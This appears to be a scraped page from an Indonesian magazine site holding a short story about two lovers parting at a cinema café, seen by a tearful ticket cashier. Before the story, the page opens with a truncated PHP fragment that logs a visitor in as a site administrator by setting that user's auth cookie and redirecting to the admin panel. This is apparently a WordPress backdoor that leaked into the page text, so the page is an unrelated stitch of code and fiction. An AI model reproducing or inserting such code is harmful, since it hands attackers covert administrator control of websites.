user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Fiction
Cerpen: Sebuah Fragmen di Bioskop

17 Nov 2017


Film itu durasinya 90 menit. Satu per satu penonton keluar. Perempuan bergaun mini hijau dan lelaki pualam itu keluar paling belakang. Sejenak mereka berdiri di pintu keluar bioskop, tampak membicarakan sesuatu. Laki-laki yang mengenakan jas hitam itu melihat jam tangan, lalu mengangguk. Mereka menuju satu bangku di kafe depan kasir bioskop, memesan menu yang sama. Masih bangku no.5, bangku yang masih sama, yang menghadap jendela. Senja sudah lama pergi. Tampaknya ia tak meninggalkan pesan apa-apa di langit yang menjadi hitam.

"Kamu akan ketinggalan pesawat," kata perempuan itu.

"Masih ada 37 menit lagi. Pulanglah, nanti kamu kemalaman," kata laki-laki itu. Ia menatap air mineral dingin yang baru saja diletakkan pelayan di depannya. Kaca botol itu berembun, kontras dengan kopi panas di sampingnya. Kopi untuk perempuan itu.

"Kamu duluan yang pergi. Aku harus nunggu kopi agak dingin," alasan si perempuan.

"Kamu dulu, aku kan tinggal nyebrang untuk boarding,"jawab laki-laki itu. Andai saja kamu bilang "tinggalah" maka dia rela melakukan apa saja, batin di laki-laki. Andai...

Advertisement
Perempuan itu mengangkat cangkir kopi, lalu menggoyangkan sambil melirik sepasang mata kebiruan dari balik asap kopi. Pergilah, ayolah pergi duluan dan jangan menoleh lagi. Biar semuanya jadi lebih ringan, batin si perempuan. Bahkan untuk sekadar mengucap 'safe flight' atau segala ucapan untuk perpisahan, ia tak mampu. Ia tak pernah menganggap laki-lakinya pergi. Ada sebuah ruang yang terkunci rapat, yang selalu ingin diisi oleh lelaki itu. Ia takkan pernah pergi, ia mengembara dalam dirinya.

Dari jauhan, kasir tiket ikut berkaca-kaca. Andai ada sebuah keajaiban, hingga bisa membuat mereka terus bersama. Tapi keajaiban mungkin lebih mudah terjadi di film Bollywood. Tiga puluh tujuh menit berlalu, perempuan itu tak pernah meminum kopinya (lagi).

Pun laki-laki itu tak pernah menyentuh botol air mineral. Mereka berdiri, berjabat tangan sejenak, ya sejenak seperti orang yang baru kenal, lalu berpisah ke arah yang berlawanan. Kasir tiket tak kuasa membendung air matanya. Matanya mengikuti langkah keduanya bergantian. Berhentilah. Ayolah,  berhenti sejenak. Lalu menolehlah, lihatlah untuk terakhir kali. Ayolah, bisik si kasir tiket.

Perempuan itu tidak menoleh. Pun laki-laki itu. Hingga punggung perempuan ditelan pintu geser ke arah ruang tunggu taksi dan laki-laki itu menghilang di lift.

Entah dorongan macam apa, si kasir tiket menuju meja itu. Ia duduk di tempat perempuan tadi duduk.Di hadapannya bulan bulat keemasan muncul dari balik jendela. Ia membayangkan, betapa indah siluet laki-laki tadi berlatar jendela. Sementara, laki-laki itu menemukan bulan yang batal purnama di mata perempuannya. Baru saja si kasir tiket berdiri, tangannya menyentuh kertas tisu yang dilipat rapi. Ada sketsa wajah. Di bawahnya tertulis "Meja no 5. Biarlah kopi ini tetap utuh.

Karena suatu hari nanti, kami akan kembali ke sini. Untuk meminumnya bersama, walau sesaat." Kertas itu menjadi basah, oleh air mata kasir yang menetes, entah kenapa.
 


Topic

#cerpen, #fiksifemina

 


MORE ARTICLE

polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?